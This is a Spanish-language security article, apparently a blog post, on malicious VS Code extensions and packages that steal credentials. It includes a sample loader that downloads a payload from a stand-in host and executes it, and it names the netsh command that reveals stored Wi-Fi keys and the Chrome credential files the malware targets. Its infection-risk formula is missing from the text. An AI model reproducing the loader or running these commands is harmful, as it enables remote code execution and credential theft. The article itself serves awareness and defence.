Confías en tus herramientas. Es la primera regla del código no escrito del desarrollador. Cuando ejecutas npm install una librería o haces clic en “Instalar” en un nuevo tema Dark Mode elegante en VS Code, no esperas un caballo de Troya. Esperas un mejor resaltado de sintaxis. Esperas productividad.
Pero una nueva ola masiva de ataques de la cadena de suministro ha destruido esa confianza, convirtiendo tu propio entorno de desarrollo en una sala de escucha para los ciberdelincuentes.
Los investigadores de Check Point, Phylum y otras firmas de seguridad han descubierto una campaña sofisticada y coordinada que apunta al corazón de la pila de desarrollo moderna: VS Code, npm, Go y Rust. No se trata solo de código buggy, mineros de criptomonedas o adware molesto. Estos son “InfoStealers” de precisión que se disfrazan de temas premium (como “Bitcoin Black”) y asistentes de IA de vanguardia (como “Codo AI” y “Chengdu AI”).
Y no solo están robando tu código - están llevándose tus contraseñas de Wi-Fi, claves SSH, cookies del navegador e incluso capturando pantallas distintas de tu escritorio activo.
Este análisis profundo desglosa exactamente cómo funcionan estas extensiones, la física del ataque “Imposter”, la economía que impulsa este aumento, y por qué el distintivo “Verificado” podría no ser suficiente para salvarte.
El gancho: por qué esto importa ahora
Durante años, el término “Supply Chain Attack” evocaba imágenes de la filtración de SolarWinds - un compromiso patrocinado por el estado a nivel alto de un servidor de compilación que se filtró a miles de agencias gubernamentales. Se sentía distante, casi abstracto, para el desarrollador frontend promedio o el científico de datos.
Esta nueva ola es personal. Apunta al desarrollador individual en su máquina local, a menudo evitando los cortafuegos corporativos por completo montándose en protocolos confiables.
La extensión “Bitcoin Black”, que prometía un tema oscuro elegante para comerciantes de criptomonedas, fue descargada miles de veces. De igual manera, “Codo AI” se subió a la onda de entusiasmo de ChatGPT y DeepSeek, prometiendo un asistente de IA integrado. En lugar de ayudarte a codificar, estaba silenciosamente desplegando un infostealer basado en DLL.
¿La parte aterradora? Funcionó. Porque estas herramientas residen dentro de tu IDE, heredan los permisos de alto nivel de tu entorno de desarrollo. El análisis del código ofuscado reveló un script postinstall que cosechaba variables de entorno (donde guardas tus claves de AWS), y ejecutaba comandos de shell.
“Los atacantes ya no están derribando la puerta principal; se están disfrazando como el mueble que traes adentro.”
Análisis técnico profundo: La anatomía del ataque
¿Cómo un “Tema” - que debería ser solo un archivo JSON de códigos hexadecimales - roba tu contraseña de Wi-Fi? La mecánica es sorprendentemente sofisticada y revela una profunda comprensión de la arquitectura de extensiones de VS Code.
1. El mecanismo “Imposter”
- Typosquatting:
prettier-vscode-plussuena como una versión legítima “Plus” del popular formateador Prettier. No lo era. Era un vehículo para el malware “OctoRAT”. - Trend Jacking: “Bitcoin Black” apuntaba a la superposición entre desarrolladores y entusiastas de criptomonedas. “Codo AI” apuntaba al auge de la IA.
Pulen los archivos README, añaden falsas insignias “Verificado” (como PNG en la descripción), y usan redes de bots para inflar artificialmente los conteos de descargas para parecer legítimos. En el marketplace de VS Code, la prueba social es el mecanismo de seguridad principal para la mayoría de usuarios, y se falsifica fácilmente.
2. La entrega de carga (El lanzamiento de DLL)
Una vez instalada, una temática técnicamente consiste principalmente en archivos JSON que definen colores. Sin embargo, las extensiones de VS Code también pueden incluir código ejecutable y eventos de activación.
En el caso de Bitcoin Black, la extensión contenía un archivo extension.js oculto que no solo aplicaba colores.
- Disparador: Al activarse (o al iniciar VS Code), el JavaScript se ejecuta.
- Fetcher: Se conecta a un servidor de Comando y Control (C2), generalmente alojado en un dominio legítimo comprometido o un VPS económico, haciéndose pasar por una verificación de telemetría benigna. La investigación descubrió conexiones a un servidor de comando y control conocido previamente vinculado al Grupo Lazarus.
- Drop: Descarga una carga secundaria - a menudo un archivo PE (Portable Executable) compilado o DLL. En la campaña “Anivia”, esto era el OctoRAT.
Aquí hay un ejemplo conceptual de qué tan simple puede parecer el código del cargador malicioso dentro de un extension.js válido:
// Parece telemetría
const telemetry = require('./telemetry-utils');
function activate(context) {
// código legítimo de activación de tema...
// La carga maliciosa
// ofuscada para parecer análisis
const u = "https://cdn-stats-track.com/update/v2/payload";
telemetry.checkUpdate(u).then(payload => {
// ejecuta el buffer descargado
require('child_process').exec(payload);
});
}
El módulo telemetry-utils contendría la lógica para obtener el binario y ejecutarlo, a menudo guardándolo en un directorio temporal como %TEMP%\vscode-updater.exe para evitar sospechas.
3. Exfiltración: El “Smash and Grab”
El malware no se queda en VS Code. Utiliza los recursos del sistema anfitrión para cosechar datos.
- Credenciales de Wi-Fi: Al ejecutar
netsh wlan show profile name="[SSID]" key=clear(en Windows), obtiene contraseñas de Wi-Fi en texto plano. Esto permite a los atacantes comprometer físicamente tu red si están locales, o mapear credenciales de red corporativa. - Secuestro de sesión del navegador: Escanea los directorios
AppData/Local/Google/Chrome/User Datapara copiar las bases de datos SQLite que contienen cookies y contraseñas guardadas. Esto permite a los atacantes eludir la autenticación de dos factores reutilizando tus cookies de sesión. - Capturas de pantalla: Usando llamadas a Windows API,
BitBlto similar, captura la pantalla. Como los desarrolladores a menudo tienen secretos visibles en otras ventanas (Postman, Notion, 1Password), esto es catastrófico. - Secuestro del portapapeles: Monitorea el portapapeles en busca de cadenas que parezcan direcciones de billetera criptográfica o claves API y las intercambia o las registra.
4. Bloques de código: La matemática de la infección
La probabilidad de infección en una cadena de suministro aumenta exponencialmente con el número de dependencias y el factor de confianza (donde 0 es confianza ciega).
Donde es el riesgo por paquete. A medida que (el número de dependencias) crece, se aproxima a 1.
Para un desarrollador senior con 50 extensiones y 1000 paquetes npm en su node_modules, el área de superficie es masiva.
Historia contextual: Un patrón de negligencia
Esta no es la primera vez. La historia de los gestores de paquetes es una historia de confianza rota.
2018: El incidente event-stream
Un paquete npm ampliamente utilizado, event-stream, fue entregado por su autor original (que estaba agotado) a un nuevo mantenedor voluntario llamado “Right9delta”. Este nuevo mantenedor fue útil al principio. Luego, inyectaron una dependencia llamada flatmap-stream que contenía código encriptado. Este código apuntaba específicamente a los procesos de compilación de Copay (una aplicación de billetera Bitcoin) para robar claves privadas. Este fue el ataque de “paciencia” - espera hasta que confíes, luego ataca.
2020: SolarWinds
El “abuelo” de los ataques de cadena de suministro. Los atacantes comprometieron el sistema de compilación en sí. Aunque esto fue patrocinado por el estado y de alto nivel, probó que si puedes envenenar el pozo (la fuente de código), puedes envenenar el pueblo (todos los que lo usan).
2024: La puerta trasera de XZ Utils
Este mismo año, la puerta trasera de XZ Utils demostró cómo un mantenedor pasó años construyendo confianza antes de insertar una sofisticada puerta trasera en una biblioteca de compresión de Linux central. Los ataques a VS Code son la versión de “comida rápida” de esto: rápido, sucio y ampliamente distribuido.
El cambio “Lazarus”
Los actores patrocinados por el estado (como el Grupo Lazarus) han cambiado de robar bancos a robar desarrolladores. ¿Por qué? Porque los desarrolladores tienen las llaves de los bancos. Están apuntando al “middleware” de la economía de internet.
El Marketplace de VS Code siempre ha sido un “Salvaje Oeste”. A diferencia de la App Store de Apple, hay revisión humana mínima. Los escáneres automatizados verifican las firmas de virus conocidas, pero un script JS ofuscado personalizado a menudo se cuela a través de las verificaciones lógicas.
La realidad económica
¿Por qué los hackers apuntan a desarrolladores? ROI (Retorno de inversión).
Una campaña de phishing dirigida a un empleado bancario cuesta tiempo, dinero e ingeniería social sofisticada. Subir una falsa extensión “Asistente de IA” cuesta $0.
Si 5,000 desarrolladores lo instalan:
- El 10% podría trabajar en empresas Fortune 500.
- El 1% podría tener claves raíz de AWS en su archivo
.env. - Eso son 50 “Golden Keys” por el precio de un README falso.
La ventaja es masiva. El “Costo de bienes vendidos” para el atacante es casi cero, mientras que el ingreso potencial de vender acceso (Initial Access Brokers) o desplegar ransomware está en los millones. Una sola clave raíz de AWS válida de empresa puede venderse por $5,000 a $50,000 en mercados de la darkweb dependiendo de los límites de cuota.
Análisis prospectivo: El IDE de “Confianza cero”
La industria está llegando a un punto de quiebre. Los datos del mercado sugieren tres cambios importantes en 2026:
- El fin del marketplace “Abierto”: Microsoft y GitHub probablemente serán forzados a implementar procesos de revisión al estilo “App Store”.
- Extensiones en sandbox: Actualmente, las extensiones se ejecutan con tus privilegios de usuario. Las versiones futuras de VS Code pueden obligar a las extensiones a ejecutarse en un sandbox de WASM sin acceso al sistema de archivos por defecto. Tendrás que otorgar explícitamente a una extensión permiso para leer tu carpeta
/src, al igual que otorgas a una aplicación móvil acceso a tu cámara. - Listas de permisos empresariales: Las empresas dejarán de permitir que los desarrolladores instalen lo que quieran. Los marketplaces internos probablemente surgirán donde solo las extensiones verificadas están disponibles.
Lo que debes hacer hoy
No puedes esperar a Microsoft.
- Audita tus extensiones: Ve a tu pestaña de extensiones. Si no la usas diariamente, desinstálala.
- Verifica el publicador: Haz clic en el nombre del publicador. ¿Tienen un sitio web? ¿Un repositorio de GitHub? Si es un nombre genérico o una cuenta completamente nueva, no la instales.
- Usa escáneres: Herramientas como Socket y Snyk están comenzando a escanear extensiones IDE, no solo paquetes npm. Úsalas.
- Filtrado de red: Usa herramientas como Little Snitch (en Mac) para monitorear dónde se está conectando tu VS Code. Si tu “Tema” está hablando con un servidor en una región no estándar, bloquéalo.
El veredicto: La era del “Tema Troyano” está aquí. Tu IDE ya no es un santuario; es un campo de batalla. Codifica en consecuencia.
Fuentes (3)
- thehackernews.com Researchers Find Malicious VS Code, Go, NPM Packages
- infosecurity-magazine.com Malicious VS Code Extensions Found Stealing Data
- hunt.io The Anivia/OctoRAT Attack Chain
🦋 Discusión en Bluesky
Discutir en Bluesky